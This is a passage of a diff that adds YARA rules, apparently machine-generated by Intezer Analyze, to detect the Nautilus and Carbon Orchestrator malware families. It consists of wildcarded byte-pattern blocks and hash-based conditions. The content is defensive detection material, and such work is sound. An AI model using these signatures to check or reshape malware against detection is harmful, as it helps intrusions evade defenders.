+		$block_7 = { 41 ?? ?? 44 ?? ?? C1 ?? ?? 41 ?? ?? ?? 44 ?? ?? 43 ?? ?? ?? ?? ?? ?? ?? 8B ?? C1 ?? ?? 44 ?? ?? C1 ?? ?? 33 ?? 48 ?? ?? ?? 33 ?? 41 ?? ?? 47 ?? ?? ?? ?? ?? ?? ?? FF 1? ?? ?? ?? ?? 44 ?? ?? 4C ?? ?? ?? 48 ?? ?? ?? 41 ?? ?? 41 ?? ?? ?? 41 ?? ?? C1 ?? ?? 41 ?? ?? ?? 41 ?? ?? 41 ?? ?? 4C ?? ?? ?? 33 ?? 89 ?? 43 ?? ?? ?? ?? ?? ?? ?? 8B ?? C1 ?? ?? C1 ?? ?? 33 ?? 49 ?? ?? 48 ?? ?? ?? 33 ?? 43 ?? ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? 48 ?? ?? ?? 48 ?? ?? 4D ?? ?? 49 ?? ?? 49 ?? ?? ?? 48 ?? ?? ?? 4C ?? ?? ?? 45 ?? ?? ?? ?? ?? ?? ?? 44 ?? ?? ?? ?? 41 ?? ?? ?? ?? ?? ?? 45 ?? ?? 41 ?? ?? ?? ?? ?? 41 ?? ?? C1 ?? ?? 83 ?? ?? 89 ?? ?? 45 ?? ?? 0F 84 }
+		$block_8 = { 41 ?? ?? 44 ?? ?? C1 ?? ?? 41 ?? ?? ?? 44 ?? ?? 43 ?? ?? ?? ?? ?? ?? ?? 8B ?? C1 ?? ?? 44 ?? ?? C1 ?? ?? 33 ?? 48 ?? ?? ?? 33 ?? 41 ?? ?? 47 ?? ?? ?? ?? ?? ?? ?? FF 1? ?? ?? ?? ?? 45 ?? ?? 4C ?? ?? ?? 48 ?? ?? ?? 41 ?? ?? 41 ?? ?? ?? 41 ?? ?? ?? ?? ?? C1 ?? ?? 41 ?? ?? 41 ?? ?? 33 ?? 41 ?? ?? 43 ?? ?? ?? ?? ?? ?? ?? 4C ?? ?? ?? 8B ?? C1 ?? ?? 4D ?? ?? C1 ?? ?? 49 ?? ?? ?? 33 ?? 48 ?? ?? ?? 33 ?? 43 ?? ?? ?? ?? ?? ?? ?? 48 ?? ?? 4D ?? ?? 49 ?? ?? 4D ?? ?? 48 ?? ?? ?? 4C ?? ?? ?? 45 ?? ?? ?? ?? ?? ?? ?? 44 ?? ?? ?? ?? 8B ?? ?? F7 ?? 41 ?? ?? ?? ?? ?? ?? 83 ?? ?? 44 ?? ?? 41 ?? ?? C1 ?? ?? 83 ?? ?? 89 ?? ?? 45 ?? ?? 0F 84 }
+		$block_9 = { 4C ?? ?? 33 ?? 49 ?? ?? FF 1? ?? ?? ?? ?? 41 ?? ?? ?? ?? ?? 45 ?? ?? 41 ?? ?? ?? ?? ?? 8B ?? 41 ?? ?? 44 ?? ?? ?? C1 ?? ?? 41 ?? ?? 41 ?? ?? C1 ?? ?? 41 ?? ?? 8B ?? 0F B6 ?? 41 ?? ?? C1 ?? ?? C1 ?? ?? 41 ?? ?? C1 ?? ?? 0F B6 ?? 03 ?? 48 ?? ?? ?? ?? ?? ?? 03 ?? 41 ?? ?? ?? 41 ?? ?? ?? 03 ?? B8 ?? ?? ?? ?? 03 ?? 41 ?? ?? F7 ?? 41 ?? ?? 41 ?? ?? ?? C1 ?? ?? 41 ?? ?? 03 ?? 41 ?? ?? 41 ?? ?? 6B ?? ?? 2B ?? F7 ?? 41 ?? ?? C1 ?? ?? 69 ?? ?? ?? ?? ?? 2B ?? F7 ?? C1 ?? ?? 69 ?? ?? ?? ?? ?? 2B ?? FF 1? ?? ?? ?? ?? 49 ?? ?? ?? BA ?? ?? ?? ?? 4C ?? ?? ?? ?? ?? ?? 44 ?? ?? 48 ?? ?? 89 ?? ?? ?? 89 ?? ?? ?? FF 1? ?? ?? ?? ?? B3 }
+
+	condition:
+		hash.sha256(0, filesize) == "93e36c336b5b20b3c33b7d0f8844572ddcc10046d1fe91b7b106d78c7fea932c" or
+		10 of them
+}
+
+rule Nautilus {
+	meta:
+		Author = "Intezer Analyze"
+		Reference = "https://apt-ecosystem.com"
+
+	strings:
+		$block_0 = { 48 ?? ?? ?? ?? 44 ?? ?? 48 ?? ?? E8 ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? 66 ?? ?? ?? ?? ?? ?? ?? 0F 8A }
+		$block_1 = { 44 ?? ?? ?? 4C ?? ?? ?? 48 ?? ?? ?? 8D ?? ?? 48 ?? ?? 48 ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 ?? 0F 85 }
+		$block_2 = { 49 ?? ?? 48 ?? ?? 48 ?? ?? A8 ?? 0F 95 ?? 48 ?? ?? ?? 48 ?? ?? E8 ?? ?? ?? ?? 44 ?? ?? 85 ?? 75 }
+		$block_3 = { 48 ?? ?? 48 ?? ?? E8 ?? ?? ?? ?? 0F B6 ?? ?? 48 ?? ?? 44 ?? ?? E8 ?? ?? ?? ?? 8B ?? 48 ?? ?? E8 }
+		$block_4 = { 8B ?? 8B ?? C1 ?? ?? 83 ?? ?? 0F B6 ?? 4C ?? ?? 4D ?? ?? 4D ?? ?? 4B ?? ?? ?? 83 ?? ?? 0F 8F }
+		$block_5 = { 48 ?? ?? ?? ?? ?? 49 ?? ?? ?? ?? ?? ?? 48 ?? ?? 48 ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? ?? 0F 85 }
+		$block_6 = { 4C ?? ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? 48 ?? ?? E8 ?? ?? ?? ?? 48 ?? ?? 48 ?? ?? 0F 84 }
+		$block_7 = { 44 ?? ?? ?? 48 ?? ?? 41 ?? ?? F6 ?? 41 ?? ?? F6 ?? 0F B6 ?? 48 ?? ?? ?? 4C ?? ?? 49 ?? ?? 72 }
+		$block_8 = { 41 ?? ?? ?? 4D ?? ?? 33 ?? 8B ?? 89 ?? ?? ?? 48 ?? ?? ?? ?? FF 1? ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_9 = { 4C ?? ?? ?? ?? 4D ?? ?? 48 ?? ?? 48 ?? ?? 4C ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B ?? 85 ?? 0F 85 }
+		$block_10 = { 8B ?? 41 ?? ?? 4D ?? ?? ?? 24 ?? F6 ?? 8D ?? ?? 1B ?? 83 ?? ?? 33 ?? 0F B6 ?? 4C ?? ?? 75 }
+		$block_11 = { 48 ?? ?? ?? 0F B6 ?? ?? C7 ?? ?? ?? ?? ?? ?? FF C? 83 ?? ?? 89 ?? ?? 89 ?? ?? 89 ?? ?? EB }
+		$block_12 = { FF 0? ?? ?? ?? ?? 45 ?? ?? ?? ?? 48 ?? ?? ?? 48 ?? ?? ?? E8 ?? ?? ?? ?? 8B ?? 85 ?? 0F 85 }
+		$block_13 = { B8 ?? ?? ?? ?? 41 ?? ?? 44 ?? ?? 41 ?? ?? ?? 44 ?? ?? 45 ?? ?? 41 ?? ?? ?? ?? ?? ?? 0F 8F }
+		$block_14 = { 0F B6 ?? 44 ?? ?? 44 ?? ?? 44 ?? ?? ?? ?? 45 ?? ?? 4C ?? ?? 89 ?? ?? ?? 48 ?? ?? ?? ?? 48 }
+		$block_15 = { 44 ?? ?? ?? ?? ?? ?? 4C ?? ?? ?? 48 ?? ?? ?? 48 ?? ?? E8 ?? ?? ?? ?? 8B ?? 85 ?? 0F 85 }
+		$block_16 = { 44 ?? ?? ?? ?? ?? ?? 4C ?? ?? ?? 48 ?? ?? ?? 49 ?? ?? E8 ?? ?? ?? ?? 8B ?? 85 ?? 0F 85 }
+		$block_17 = { A8 ?? 8B ?? 48 ?? ?? 0F 95 ?? 48 ?? ?? ?? 48 ?? ?? E8 ?? ?? ?? ?? 44 ?? ?? 85 ?? 0F 85 }
+		$block_18 = { 48 ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? 8B ?? ?? FF C? 81 F? ?? ?? ?? ?? 89 ?? ?? 0F 44 ?? 89 }
+		$block_19 = { 48 ?? ?? ?? 41 ?? ?? F6 ?? 41 ?? ?? C0 ?? ?? E8 ?? ?? ?? ?? 33 ?? 44 ?? ?? 85 ?? 0F 85 }
+		$block_20 = { FF 0? ?? ?? ?? ?? 4C ?? ?? ?? 48 ?? ?? ?? 48 ?? ?? ?? E8 ?? ?? ?? ?? 8B ?? 85 ?? 0F 85 }
+		$block_21 = { FF 0? ?? ?? ?? ?? 4D ?? ?? ?? 48 ?? ?? ?? 48 ?? ?? ?? E8 ?? ?? ?? ?? 8B ?? 85 ?? 0F 85 }
+		$block_22 = { E8 ?? ?? ?? ?? 48 ?? ?? ?? 48 ?? ?? 48 ?? ?? ?? E8 ?? ?? ?? ?? 8B ?? ?? 83 ?? ?? 0F 84 }
+		$block_23 = { 8B ?? ?? 69 ?? ?? ?? ?? ?? ?? 89 ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? 40 ?? ?? ?? 0F 84 }
+		$block_24 = { 4C ?? ?? ?? ?? 8B ?? 48 ?? ?? E8 ?? ?? ?? ?? 48 ?? ?? ?? ?? 48 ?? ?? 48 ?? ?? 0F 85 }
+		$block_25 = { 48 ?? ?? ?? 44 ?? ?? ?? ?? ?? ?? 4C ?? ?? 48 ?? ?? E8 ?? ?? ?? ?? 8B ?? 85 ?? 0F 85 }
+		$block_26 = { FF 0? ?? ?? ?? ?? 48 ?? ?? ?? 48 ?? ?? ?? 4D ?? ?? E8 ?? ?? ?? ?? 8B ?? 85 ?? 0F 85 }
+		$block_27 = { FF 0? ?? ?? ?? ?? 48 ?? ?? ?? 48 ?? ?? ?? 4C ?? ?? E8 ?? ?? ?? ?? 8B ?? 85 ?? 0F 85 }
+		$block_28 = { 0F 10 ?? 48 ?? ?? ?? ?? 48 ?? ?? ?? ?? 48 ?? ?? ?? ?? F3 ?? ?? ?? 48 ?? ?? ?? 5? C3 }
+		$block_29 = { 41 ?? ?? ?? 45 ?? ?? ?? 4D ?? ?? C1 ?? ?? 44 ?? ?? ?? ?? 49 ?? ?? 49 ?? ?? ?? 0F 8C }
+		$block_30 = { 0F B6 ?? ?? E8 ?? ?? ?? ?? 88 ?? 48 ?? ?? ?? ?? 48 ?? ?? 48 ?? ?? ?? 48 ?? ?? 72 }
+		$block_31 = { 4C ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? E8 ?? ?? ?? ?? 8B ?? 85 ?? 0F 85 }
+		$block_32 = { 48 ?? ?? ?? 41 ?? ?? ?? ?? ?? 48 ?? ?? ?? 8B ?? 83 ?? ?? 83 ?? ?? 83 ?? ?? 0F 87 }
+		$block_33 = { 44 ?? ?? ?? ?? ?? ?? 4C ?? ?? 48 ?? ?? 48 ?? ?? E8 ?? ?? ?? ?? 8B ?? 85 ?? 0F 85 }
+		$block_34 = { 48 ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? 48 ?? ?? E8 ?? ?? ?? ?? 85 ?? 0F 85 }
+		$block_35 = { 4C ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? 49 ?? ?? E8 ?? ?? ?? ?? 85 ?? 0F 85 }
+		$block_36 = { 48 ?? ?? FF 1? ?? ?? ?? ?? 48 ?? ?? FE ?? 0F B6 ?? FF 1? ?? ?? ?? ?? 8B ?? 89 }
+		$block_37 = { BA ?? ?? ?? ?? 8D ?? ?? E8 ?? ?? ?? ?? 48 ?? ?? ?? 48 ?? ?? 48 ?? ?? 0F 84 }
+		$block_38 = { 4D ?? ?? ?? 48 ?? ?? ?? 4D ?? ?? 49 ?? ?? E8 ?? ?? ?? ?? 8B ?? 85 ?? 0F 85 }
+		$block_39 = { 48 ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? BB ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_40 = { 44 ?? ?? ?? ?? 41 ?? ?? 41 ?? ?? 41 ?? ?? 41 ?? ?? 3B ?? 0F 4C ?? 85 ?? 7E }
+		$block_41 = { BA ?? ?? ?? ?? 8D ?? ?? E8 ?? ?? ?? ?? 48 ?? ?? 48 ?? ?? 48 ?? ?? 0F 84 }
+		$block_42 = { 48 ?? ?? ?? ?? 48 ?? ?? ?? E8 ?? ?? ?? ?? 8B ?? 89 ?? ?? ?? 85 ?? 0F 85 }
+		$block_43 = { 41 ?? ?? ?? ?? ?? ?? 48 ?? ?? 8D ?? ?? 41 ?? ?? 48 ?? ?? ?? 3B ?? 0F 8C }
+		$block_44 = { 48 ?? ?? ?? ?? 44 ?? ?? 48 ?? ?? E8 ?? ?? ?? ?? 80 7? ?? ?? ?? 0F 85 }
+		$block_45 = { 8A ?? ?? B9 ?? ?? ?? ?? 40 ?? ?? C0 ?? ?? 41 ?? ?? D2 ?? 84 ?? 0F 85 }
+		$block_46 = { 48 ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? 48 ?? ?? E8 ?? ?? ?? ?? 85 ?? 0F 89 }
+		$block_47 = { 4C ?? ?? ?? 48 ?? ?? ?? 48 ?? ?? ?? E8 ?? ?? ?? ?? 8B ?? 85 ?? 0F 85 }
+		$block_48 = { 44 ?? ?? 48 ?? ?? 48 ?? ?? E8 ?? ?? ?? ?? 8B ?? ?? ?? 3B ?? 0F 8C }
+		$block_49 = { 4C ?? ?? ?? 4D ?? ?? 49 ?? ?? 48 ?? ?? E8 ?? ?? ?? ?? 85 ?? 0F 85 }
+		$block_50 = { 4C ?? ?? ?? 48 ?? ?? ?? 48 ?? ?? E8 ?? ?? ?? ?? 8B ?? 85 ?? 0F 85 }
+		$block_51 = { 48 ?? ?? E8 ?? ?? ?? ?? 0F B6 ?? 8D ?? ?? ?? ?? ?? ?? 4C ?? ?? 72 }
+		$block_52 = { 4B ?? ?? ?? 03 ?? 48 ?? ?? 89 ?? ?? ?? 89 ?? ?? ?? 41 ?? ?? 0F 8F }
+		$block_53 = { 4C ?? ?? ?? 48 ?? ?? ?? 48 ?? ?? ?? E8 ?? ?? ?? ?? 85 ?? 0F 85 }
+		$block_54 = { 0F 28 ?? ?? BE ?? ?? ?? ?? 48 ?? ?? ?? ?? 44 ?? ?? ?? 0F 11 }
+		$block_55 = { 0F B6 ?? 3B ?? 0F 4F ?? 3B ?? 0F 4C ?? 48 ?? ?? 48 ?? ?? 75 }
+		$block_56 = { 48 ?? ?? ?? BB ?? ?? ?? ?? 8B ?? E8 ?? ?? ?? ?? 85 ?? 0F 88 }
+		$block_57 = { 48 ?? ?? ?? ?? ?? ?? 48 ?? ?? E8 ?? ?? ?? ?? 48 ?? ?? 0F 84 }
+		$block_58 = { 48 ?? ?? 48 ?? ?? E8 ?? ?? ?? ?? 48 ?? ?? 48 ?? ?? 0F 84 }
+		$block_59 = { 0F 28 ?? ?? 41 ?? ?? ?? 45 ?? ?? ?? 48 ?? ?? ?? ?? 0F 11 }
+		$block_60 = { 8B ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 4C ?? ?? 48 ?? ?? 0F 84 }
+		$block_61 = { 48 ?? ?? ?? ?? 4C ?? ?? ?? ?? 4D ?? ?? ?? 4C ?? ?? 0F 82 }
+		$block_62 = { 4C ?? ?? ?? 48 ?? ?? 48 ?? ?? E8 ?? ?? ?? ?? 85 ?? 0F 85 }
+		$block_63 = { 49 ?? ?? 49 ?? ?? E8 ?? ?? ?? ?? 4C ?? ?? 48 ?? ?? 0F 84 }
+		$block_64 = { 8D ?? ?? 8D ?? ?? E8 ?? ?? ?? ?? 48 ?? ?? 48 ?? ?? 0F 84 }
+		$block_65 = { 48 ?? ?? ?? 49 ?? ?? E8 ?? ?? ?? ?? 8B ?? 85 ?? 0F 85 }
+		$block_66 = { 48 ?? ?? ?? 48 ?? ?? E8 ?? ?? ?? ?? 8B ?? 85 ?? 0F 85 }
+		$block_67 = { 45 ?? ?? ?? 4D ?? ?? 66 ?? ?? ?? ?? 41 ?? ?? ?? 0F 8C }
+		$block_68 = { 49 ?? ?? 48 ?? ?? E8 ?? ?? ?? ?? 8B ?? 85 ?? 0F 85 }
+		$block_69 = { 49 ?? ?? 49 ?? ?? E8 ?? ?? ?? ?? 8B ?? 85 ?? 0F 85 }
+		$block_70 = { 41 ?? ?? 41 ?? ?? 44 ?? ?? 45 ?? ?? 45 ?? ?? 0F 8F }
+		$block_71 = { 49 ?? ?? ?? 48 ?? ?? 48 ?? ?? ?? 49 ?? ?? ?? 0F 86 }
+		$block_72 = { 48 ?? ?? ?? 48 ?? ?? ?? E8 ?? ?? ?? ?? 85 ?? 0F 85 }
+		$block_73 = { 48 ?? ?? ?? ?? 48 ?? ?? ?? 48 ?? ?? ?? 0F 10 ?? F3 }
+		$block_74 = { 49 ?? ?? ?? 8B ?? 8B ?? C1 ?? ?? 0F B6 ?? 85 ?? 7E }
+		$block_75 = { 4C ?? ?? ?? 44 ?? ?? ?? 44 ?? ?? ?? 44 ?? ?? 0F 84 }
+		$block_76 = { 48 ?? ?? ?? 49 ?? ?? E8 ?? ?? ?? ?? 85 ?? 0F 85 }
+		$block_77 = { 48 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B ?? 85 ?? 0F 85 }
+		$block_78 = { 48 ?? ?? ?? 48 ?? ?? ?? 48 ?? ?? ?? ?? ?? 0F 87 }
+		$block_79 = { 48 ?? ?? ?? 48 ?? ?? B8 ?? ?? ?? ?? 84 ?? 0F 84 }
+		$block_80 = { 83 ?? ?? ?? 8B ?? ?? 4C ?? ?? ?? 49 ?? ?? 0F 85 }
+		$block_81 = { 41 ?? ?? ?? ?? ?? ?? 44 ?? ?? ?? 44 ?? ?? 0F 8C }
+		$block_82 = { 49 ?? ?? E8 ?? ?? ?? ?? 48 ?? ?? 48 ?? ?? 0F 84 }
+
+	condition:
+		hash.sha256(0, filesize) == "cefc5cf4d46abb86fb0f7c81549777cf1a2a5bfbe1ce9e7d08128ab8bfc978f8" or
+		24 of them
+}
+
+rule CarbonOrchestrator_v3_81_ {
+	meta:
+		Author = "Intezer Analyze"
+		Reference = "https://apt-ecosystem.com"
+
+	strings:
+		$block_0 = { E8 ?? ?? ?? ?? 99 B9 ?? ?? ?? ?? F7 ?? 8B ?? 48 ?? ?? ?? ?? 8B ?? ?? 2B ?? 8B ?? 89 ?? ?? ?? EB }
+		$block_1 = { 8B ?? ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B ?? E8 ?? ?? ?? ?? 0F B6 ?? 85 ?? 74 }
+		$block_2 = { C7 ?? ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? 0F B6 ?? 88 ?? ?? ?? 0F B6 ?? ?? ?? 3D ?? ?? ?? ?? 0F 85 }
+		$block_3 = { 4C ?? ?? ?? ?? 88 ?? ?? ?? 48 ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? 0F B6 ?? ?? ?? ?? ?? ?? 85 ?? 74 }
+		$block_4 = { 5? 68 ?? ?? ?? ?? 6A ?? 5? 5? 68 ?? ?? ?? ?? FF 3? ?? ?? ?? ?? FF 1? ?? ?? ?? ?? 83 ?? ?? 0F 85 }
+		$block_5 = { 5? 68 ?? ?? ?? ?? 6A ?? 5? 5? 68 ?? ?? ?? ?? FF 7? ?? FF 1? ?? ?? ?? ?? 89 ?? ?? 83 ?? ?? 0F 84 }
+		$block_6 = { 66 ?? ?? ?? 6A ?? 8D ?? ?? 5? 5? 5? FF 7? ?? E8 ?? ?? ?? ?? 83 ?? ?? 8B ?? 89 ?? ?? 85 ?? 0F 85 }
+		$block_7 = { 89 ?? ?? 6A ?? 8D ?? ?? ?? ?? ?? 5? 5? FF 7? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 89 ?? ?? 3B ?? 0F 85 }
+		$block_8 = { 48 ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? FF 1? ?? ?? ?? ?? 48 ?? ?? ?? ?? 0F BE ?? ?? 83 ?? ?? 75 }
+		$block_9 = { 0F B7 ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? FF 9? ?? ?? ?? ?? 48 ?? ?? ?? ?? 66 ?? ?? ?? EB }
+		$block_10 = { 8D ?? ?? ?? 5? 8D ?? ?? ?? 5? 8D ?? ?? ?? 5? FF 3? ?? ?? ?? ?? FF 1? ?? ?? ?? ?? 84 ?? 0F 84 }
+		$block_11 = { FF 7? ?? ?? 8B ?? ?? ?? FF 7? ?? ?? E8 ?? ?? ?? ?? 33 ?? 5? 5? 89 ?? ?? ?? 39 ?? ?? ?? 0F 85 }
+		$block_12 = { 5? FF 1? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? 5? 89 ?? ?? ?? FF D? 5? 5? 89 ?? ?? ?? 3B ?? 0F 84 }
+		$block_13 = { FF 7? ?? FF 1? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? FF 7? ?? FF 1? ?? ?? ?? ?? 5? 5? 85 ?? 0F 85 }
+		$block_14 = { 0F BE ?? ?? ?? BA ?? ?? ?? ?? 8B ?? E8 ?? ?? ?? ?? 88 ?? ?? ?? 0F B6 ?? ?? ?? 83 ?? ?? 7C }
+		$block_15 = { 48 ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 33 ?? 48 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 ?? 85 ?? 75 }
+		$block_16 = { 48 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? ?? 0F B7 ?? ?? 3D ?? ?? ?? ?? 75 }
+		$block_17 = { 8B ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? 0F 84 }
+		$block_18 = { 48 ?? ?? ?? ?? ?? ?? ?? 0F B7 ?? 33 ?? B9 ?? ?? ?? ?? 48 ?? ?? 48 ?? ?? ?? ?? ?? ?? ?? EB }
+		$block_19 = { 4C ?? ?? ?? ?? 41 ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? 48 ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_20 = { FF 1? ?? ?? ?? ?? FF 7? ?? 8B ?? 5? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 ?? ?? 83 ?? ?? 0F 84 }
+		$block_21 = { 8B ?? ?? 89 ?? ?? 8D ?? ?? 5? FF 7? ?? 8D ?? ?? E8 ?? ?? ?? ?? 5? 5? 89 ?? ?? 85 ?? 0F 85 }
+		$block_22 = { 8B ?? 99 F7 ?? 83 ?? ?? ?? 8A ?? 83 ?? ?? ?? 33 ?? 4? 89 ?? ?? 88 ?? ?? 89 ?? ?? 85 ?? 7E }
+		$block_23 = { 8B ?? ?? 6A ?? 8D ?? ?? ?? 5? 5? 5? FF 7? ?? ?? E8 ?? ?? ?? ?? 8B ?? 83 ?? ?? 3B ?? 0F 85 }
+		$block_24 = { 8B ?? ?? ?? 44 ?? ?? 48 ?? ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 ?? 0F 85 }
+		$block_25 = { 48 ?? ?? ?? ?? FF 1? ?? ?? ?? ?? 88 ?? ?? ?? ?? ?? ?? 0F B6 ?? ?? ?? ?? ?? ?? 85 ?? 74 }
+		$block_26 = { 48 ?? ?? ?? ?? ?? ?? ?? 0F B6 ?? ?? 88 ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? 75 }
+		$block_27 = { 48 ?? ?? ?? ?? 48 ?? ?? ?? ?? 0F B6 ?? ?? 88 ?? ?? ?? 8B ?? ?? ?? FF C? 89 ?? ?? ?? C7 }
+		$block_28 = { 8B ?? ?? ?? ?? ?? ?? 8B ?? ?? ?? E8 ?? ?? ?? ?? 8B ?? E8 ?? ?? ?? ?? 0F B6 ?? 85 ?? 74 }
+		$block_29 = { 41 ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 ?? 85 ?? 75 }
+		$block_30 = { 0F B6 ?? 23 ?? ?? 8B ?? ?? D3 ?? 8B ?? ?? D2 ?? 0A ?? FF 4? ?? 83 ?? ?? ?? 8B ?? ?? 7C }
+		$block_31 = { 6A ?? 8D ?? ?? ?? 5? 5? FF 7? ?? ?? FF 7? ?? E8 ?? ?? ?? ?? 8B ?? 83 ?? ?? 85 ?? 0F 85 }
+		$block_32 = { 48 ?? ?? ?? ?? ?? ?? ?? 0F B7 ?? 33 ?? B9 ?? ?? ?? ?? 48 ?? ?? 48 ?? ?? ?? ?? ?? 73 }
+		$block_33 = { 48 ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? 0F BE ?? ?? ?? 83 ?? ?? 74 }
+		$block_34 = { 48 ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 ?? ?? ?? 83 ?? ?? ?? ?? 0F 85 }
+		$block_35 = { 48 ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? 48 ?? ?? E8 ?? ?? ?? ?? 0F B6 ?? 83 ?? ?? 0F 85 }
+		$block_36 = { 48 ?? ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? ?? FF 1? ?? ?? ?? ?? 83 ?? ?? 0F 84 }
+		$block_37 = { 0F BF ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? ?? 89 ?? C7 ?? ?? ?? ?? ?? ?? ?? E9 }
+		$block_38 = { 48 ?? ?? ?? ?? 48 ?? ?? ?? ?? FF 1? ?? ?? ?? ?? 89 ?? ?? ?? 83 ?? ?? ?? ?? 0F 85 }
+		$block_39 = { 0F BF ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? ?? 89 ?? C7 ?? ?? ?? ?? ?? ?? ?? EB }
+		$block_40 = { 8B ?? ?? ?? 8B ?? ?? ?? 03 ?? 8B ?? 89 ?? ?? ?? 8B ?? ?? ?? 39 ?? ?? ?? 0F 82 }
+		$block_41 = { 48 ?? ?? ?? ?? 48 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 ?? ?? ?? 83 ?? ?? ?? ?? 0F 85 }
+		$block_42 = { FF 1? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? ?? 81 B? ?? ?? ?? ?? ?? ?? ?? ?? ?? 0F 85 }
+		$block_43 = { 48 ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? ?? FF 1? ?? ?? ?? ?? 48 ?? ?? 0F 84 }
+		$block_44 = { 33 ?? 48 ?? ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 ?? ?? ?? 83 ?? ?? ?? ?? 0F 85 }
+		$block_45 = { 48 ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? ?? FF 1? ?? ?? ?? ?? 48 ?? ?? 0F 85 }
+		$block_46 = { 48 ?? ?? ?? ?? ?? ?? ?? FF 1? ?? ?? ?? ?? 0F B6 ?? ?? ?? ?? ?? ?? 83 ?? ?? 75 }
+		$block_47 = { 0F BE ?? ?? ?? 8B ?? 48 ?? ?? ?? ?? ?? ?? ?? FF 1? ?? ?? ?? ?? 48 ?? ?? 74 }
+		$block_48 = { B2 ?? 48 ?? ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 ?? ?? ?? ?? ?? ?? ?? 0F 85 }
+		$block_49 = { 48 ?? ?? ?? ?? 48 ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? 8B ?? ?? ?? 39 ?? ?? 0F 85 }
+		$block_50 = { 48 ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? 0F B7 ?? ?? 85 ?? 74 }
+		$block_51 = { 0F B7 ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? FF 9? ?? ?? ?? ?? 66 ?? ?? ?? ?? EB }
+		$block_52 = { 48 ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 ?? 0F 85 }
+		$block_53 = { 48 ?? ?? ?? ?? 48 ?? ?? ?? ?? 8B ?? ?? 8B ?? ?? 2B ?? 3B ?? ?? ?? 0F 87 }
+		$block_54 = { 0F B6 ?? ?? ?? B9 ?? ?? ?? ?? 2B ?? 8B ?? 0F B6 ?? ?? ?? 03 ?? 8B ?? 88 }
+		$block_55 = { 8B ?? ?? ?? ?? ?? ?? FF C? 48 ?? 48 ?? ?? ?? ?? 0F BE ?? ?? 85 ?? 75 }
+		$block_56 = { 0F BE ?? ?? ?? 8B ?? 48 ?? ?? ?? ?? FF 1? ?? ?? ?? ?? 48 ?? ?? 74 }
+		$block_57 = { 48 ?? ?? ?? ?? 8B ?? ?? 99 83 ?? ?? 03 ?? C1 ?? ?? 39 ?? ?? ?? 7E }
+		$block_58 = { 0F B7 ?? ?? ?? 48 ?? ?? ?? 48 ?? ?? ?? 8B ?? ?? ?? 39 ?? ?? ?? 77 }
+		$block_59 = { 48 ?? ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? ?? 0F 84 }
+		$block_60 = { 8B ?? ?? ?? 8B ?? ?? ?? ?? ?? ?? 2B ?? 8B ?? 3D ?? ?? ?? ?? 0F 8C }
+		$block_61 = { B2 ?? 48 ?? ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 ?? 85 ?? 75 }
+		$block_62 = { 0F B6 ?? ?? ?? ?? ?? ?? 88 ?? ?? ?? 0F B6 ?? ?? ?? 85 ?? 0F 84 }
